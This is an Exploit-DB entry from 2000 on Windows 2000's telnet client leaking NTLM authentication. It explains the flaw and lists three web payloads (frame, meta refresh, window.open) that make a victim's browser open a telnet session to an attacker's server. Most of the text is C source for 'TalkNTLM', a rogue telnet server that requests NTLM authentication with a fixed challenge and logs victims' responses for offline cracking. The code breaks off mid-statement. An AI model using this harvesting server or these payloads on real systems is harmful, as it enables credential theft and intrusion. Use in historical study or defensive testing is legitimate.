Exploit-DB #20222
Description: Microsoft Windows Server 2000 - 'telnet.exe' NTLM Authentication
Type: remote
Platform: windows
Date: 2000-08-14
Author: @stake

Exploit:
source: https://www.securityfocus.com/bid/1683/info


By default, the telnet client (telnet.exe) shipped with Microsoft Windows 2000 utilizes Windows NT Challenge/Response (NTLM) as an authentication method. When establishing a connection to a host, the telnet client will attempt authentication via NTLM, regardless of whether or not the host is a Windows telnet server or not. There is a possibility that the NTLM challenge/response authentication session could be monitored and subsequently cracked, which could lead to the disclosure of sensitive information such as usernames, passwords, domains, etc. The NTLM challenge/response protocol is known to be susceptible to brute-force cracking, as demonstrated in the tool "L0phtcrack."

Forcing a telnet session on a remote target is a trivial task because products such as Microsoft Internet Explorer, Outlook (Express), Netscape Navigator, etc. will automatically open URLs with a "telnet://" prefix in a default telnet client (which is normally telnet.exe). The following are some examples of how one could open a telnet session on a specified rogue server:

1) frame src=telnet://target 


2) meta http-equiv="refresh" content="0;URL=telnet://telnet-attacker"


3) window.open("telnet://target")


/* TalkNTLM - NTLM Logging Telnet Server
 * dildog@atstake.com
 * 8/14/00
 * Copyright (C) 2000 @stake, Inc.
 */

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<ctype.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<netinet/in.h>
#include<arpa/inet.h>

#define MAJOR_VERSION 1
#define MINOR_VERSION 0

#define IAC     255             /* interpret as command: */
#define DONT    254             /* you are not to use option */
#define DO      253             /* please, you use option */
#define WONT    252             /* I won't use option */
#define WILL    251             /* I will use option */
#define SB      250             /* interpret as subnegotiation */              
#define SE      240             /* end sub negotiation */
#define AUTH    37
#define IS      0
#define SEND    1
#define REPLY   2
#define NAME    3
#define NTLM    15

#define ACCEPT 1

typedef enum {
  METHOD_NONE=0,
  METHOD_TELNET
} METHOD;

typedef enum {
  SUBMETHOD_NONE=0,
  SUBMETHOD_LOG,
} SUBMETHOD;

#define COMMSOCK_BUFSIZ 2048
FILE *g_fCommSock;
char g_CommSockBuf[COMMSOCK_BUFSIZ];

void error(const char *str)
{
  fflush(stdout);
  fprintf(stderr,str);
  fflush(stderr);
}

unsigned char getb(void)
{
  unsigned char b=0;
  fread(&b,1,1,g_fCommSock);
  return b;
}

unsigned short getdwl(void)
{
  unsigned short s=0;
  s|=((unsigned short)getb());
  s|=((unsigned short)getb())<<8;
  return s;
}

unsigned long getddl(void)
{
  unsigned long l=0;
  l|=((unsigned long)getb());
  l|=((unsigned long)getb())<<8;
  l|=((unsigned long)getb())<<16;
  l|=((unsigned long)getb())<<24;
  return l;
}

void putb(unsigned char c)
{
  fwrite(&c,1,1,g_fCommSock);
}

void putdwl(unsigned short w)
{
  putb(w&255);
  putb((w>>8)&255);
}

void putddl(unsigned long d)
{
  putb(d&255);
  putb((d>>8)&255);
  putb((d>>16)&255);
  putb((d>>24)&255);
}


void putarrb(int n, unsigned char *b)
{
  int i;
  for(i=0;i<n;i++) {
    putb(b[i]);
  }
}

void putarrc(int n, char *c)
{
  putarrb(n,(unsigned char *)c);
}

void putflush(void)
{
  fflush(g_fCommSock);
}


void debugb(unsigned char c)
{
  fprintf(stderr,"%d\t\t%X\t'%c'\n\r",c,c,(isalnum(c)?c:' '));
}


int listenport(int port, struct sockaddr_in *rsaddr)
{
  // Create socket
  int s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  if(s<0) {
    error("couldn't create socket.\n");
    return -1;
  }

  int reuse=1;
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&reuse,sizeof(int))<0) {
    error("couldn't set socket option.\n");
    close(s);
    return -2;
  }

  // Bind to port
  struct sockaddr_in saddr;
  memset(&saddr,0,sizeof(struct sockaddr_in));
  saddr.sin_port=htons(port);
  saddr.sin_family=AF_INET;
 
  if(bind(s,(struct sockaddr *)&saddr,sizeof(struct sockaddr_in))<0) {
    error("couldn't bind.\n");
    close(s);
    return -3;
  }

  // Listen on port;
  if(listen(s,1)<0) {
    error("couldn't listen.\n");
    close(s);
    return -4;
  }

  // Accept connection
  unsigned int socklen=sizeof(struct sockaddr_in);
  memset(rsaddr,0,socklen);
  int as;
  if((as=accept(s,(struct sockaddr *)rsaddr,&socklen))<0) {
    error("couldn't accept.\n");
    close(s);
    return -5;
  }

  // Close listener
  close(s);
  
  return as;
}

int do_telnet_log(int port, char *logfile)
{

  FILE *lf=NULL;

  while(1) {
    
    // Wait for telnet connection to come in
    struct sockaddr_in saddr;
    int s;
    printf("listening on port %d.\n",port);
    if((s=listenport(port,&saddr))<0) {
      error("telnet logging abort.\n");
      return -1;
    }
    printf("recieved telnet connection from %s:%u.\n",
	   inet_ntoa(saddr.sin_addr),ntohs(saddr.sin_port));

    // Set this socket as out buffered packet socket
    g_fCommSock=fdopen(s,"r+b");
    if(g_fCommSock==NULL) {
      error("couldn't fdopen comm socket.\n");
      close(s);
      return -2;
    }
    setvbuf(g_fCommSock,g_CommSockBuf,_IOFBF,COMMSOCK_BUFSIZ);

    // Open logging file
    lf=fopen(logfile,"a+t");
    if(lf==NULL) {
      error("couldn't open log file.\n");
      fclose(g_fCommSock);
      return -3;
    }
    
    // Challenge to send
    unsigned char challenge[8]={255,255,255,255,255,255,255,255};

    // Start authentication process
    unsigned char *respbuf=NULL;
    int size=0;
    
    putb(IAC);
    putb(DO);
    putb(AUTH);
    putflush();
    printf(">> IAC DO AUTH\n");
    
    // See if client wants to authenticate
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=WILL) goto tel